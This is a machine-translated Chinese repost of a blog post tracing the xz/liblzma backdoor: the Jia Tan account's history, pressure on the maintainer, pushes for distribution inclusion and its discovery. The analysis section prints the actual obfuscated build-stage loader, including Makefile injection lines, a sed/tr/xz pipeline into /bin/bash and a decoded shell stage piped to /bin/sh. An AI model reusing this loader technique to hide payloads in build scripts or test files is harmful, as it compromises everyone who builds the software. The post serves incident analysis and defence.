3

【译文】我所知道的关于 Xz 后门的一切信息

 1 month ago
source link: https://www.techug.com/post/everything-i-know-about-the-xz-backdoor/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

【译文】我所知道的关于 Xz 后门的一切信息

请注意:此内容正在实时更新。更新的目的是为了更好地理解同时发现的大量有关该后门的信息:美国东部时间 7:18

JiaT75 (Jia Tan) 创建了自己的 GitHub 账户。

他们提交的第一批内容并非 xz,但却令人深感怀疑。具体来说,他们在 libarchive 中开启了一个 PR:使用 bsdtar 解压缩时,在警告中添加了错误警告文本信息。这个提交做的比它说的要多一些。它用一个不安全的变体替换了 safe_fprint,可能会引入另一个漏洞。该代码未经任何讨论即被合并,并一直沿用至今(已打补丁)。除非另有证明,否则 libarchive 也应被视为已被攻破。

2022 年,要求为 XZ 增加一名维护者的压力开始增大

这封邮件发出三天后,JiaT75 首次提交了 xz:测试:创建了硬件功能测试。从这次提交开始,他们成为了 xz 的固定贡献者(目前是第二活跃的贡献者)。目前还不清楚他们是何时成为该版本库的信任者的。

Glyph

@[email protected]

我真的希望这能引起整个行业的反思,不要再让你的整个产品都压在一个工作过度、精神健康出现危机的人身上,而不在经济上或运营上给予他们任何支持。我希望所有依赖开源软件的人都能读到这条信息 https://www.mail-archive.com/[email protected]/msg00567.html

Mar 29, 2024, 20:43226 retoots

JiaT75 在 20231 年 1 月 7 日合并了他们的第一次提交,这很好地说明了他们何时完全获得信任。

3 月,谷歌 oss-fuzz 的主要联系人电子邮件由 Lasse Collin 更新为 Jia。

用于此漏洞利用的测试基础设施已提交。尽管 Lasse Collin 被认为是这个漏洞的作者,但 Jia 还是提交了它,而它最初是由 Hans Jansen 在 6 月份编写的:

Hans Jansen 的账户似乎是专门为创建此拉取请求而创建的。前后的活动都很少。他们稍后会推动将妥协后的 XZ 版本纳入 Debian。

七月,由于上述变更带来的问题,oss-fuzz 启动了一项 PR,以禁用 ifunc 进行模糊构建。这似乎是为了掩盖即将引入的恶意更改而故意为之。

为 Google 的 oss-fuzz 开通了一个拉取请求,将项目的 URL 从 tukaani.org/xz/ 改为 xz.tukaani.org/xz-utils/tukaani.org 托管在芬兰的 5.44.245.25,该托管公司。而 xz 子域则指向 GitHub 页面。这进一步加强了 Jia 对项目的控制。

包含执行后门所需的最后步骤的提交被添加到了版本库中:

向 oss-security 邮件列表发送了一封电子邮件:上游 xz/liblzma 中的后门导致 ssh 服务器被入侵,宣布了这一发现,并尽力解释了漏洞利用链。

AndresFreundTec

@[email protected]

当时我正在做一些微基准测试,需要静止系统以减少噪音。我发现 sshd 进程占用了大量 CPU,尽管因为用户名错误等原因它立即就会失败。对 sshd 进行剖析,发现 liblzma 占用大量 CPU,而 perf 无法将其归因于某个符号。我开始怀疑。我想起几周前,在软件包更新后,我在 postgres 的自动测试中看到过一个奇怪的 valgrind 投诉。

真的需要很多巧合。

Mar 29, 2024, 18:32288 retoots

一个 gist 已经发布了一份要点,其中包括非常好的高层技术概述和 “您需要了解的内容”。

我对这分文档的理解甚不如原作者,但我在这里一半是复述,一半是理解发生了什么:

不是很透彻,我还在摸索中

在上游压缩包中添加代码,从上面提交的文件中注入混淆脚本,”在 configure 结束时执行”。该代码反过来又 “修改 $builddir/src/liblzma/Makefile 以包含 “以下内容

am__test = bad-3-corrupt_lzma2.xz
...
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
...
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

(你会注意到这是上面添加的文件)”最后变成”(最后变成什么?)

sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "	 \-_" " 	_\-" | xz -d | /bin/bash >/dev/null 2>&1;

报告称,”sed “结果是

####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

你会注意到,这个脚本正在将上述提交中附带的其中一个文件转化为一系列非常非常混淆的头部调用。在对该脚本进行去混淆处理后,它将指向电子邮件中附带的一个 sh 文件:

injected.txt

已确定的一些条件是继续开展这一进程的必要条件:

  • 使用 gcc 和 gnu 连接器构建
  • 仅 x86-64 Linux
  • 作为 debian 或 RPM 软件包构建的一部分运行

据报告,最终二进制文件会以某种方式绕过 sshd 身份验证检查。

突然提出的收录请求

Hans 请求将有漏洞的版本收录到 Debian 中:

其他一些可疑的、匿名的、以前没有什么活动的帐号,包括 misoeater91 和 krygorin4545,也提出了加入的请求。

我也发现了这个错误。额外的 valgrind 输出导致我的一些测试失败。看来新版本能解决这个问题。我想要这个新版本,这样我就能继续工作了。

我上周就注意到了这个问题,差点就写了一个 valgrind bug。很高兴看到它被修复。
谢谢汉斯!

正如发给 OSS-Security 的电子邮件中所指出的,上述 Valgrind Bug 是由这种恶意注入引入的:

随后,由于堆栈布局与后门所期望的不同,注入的代码(下文将详细介绍)在某些配置中导致 Valgrind 错误和崩溃。这些问题已尝试在 5.6.1 中解决:

1Password 的一名员工向 go 库提出了一个拉取请求,要求将库升级到易受攻击的版本,然而,这一切都来得不是时候。1Password 通过电子邮件向我转发了这条评论,一切似乎都已检查完毕。

一位 Fedora 的贡献者称,Jia 一直在推动将其纳入 Fedora,因为它包含了 “很棒的新功能”。

在测试版冻结前几天,Jia Tan 也曾试图将其纳入 Ubuntu。

截至9:00 PM UTC,GitHub 已暂停了 JiaT75 的账户。谢谢?

本文文字及图片出自 Everything I Know About the Xz Backdoor

O1CN01ROZkel1OQdoCEAZsZ_!!2768491700.jpg_640x640q80_.webp

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK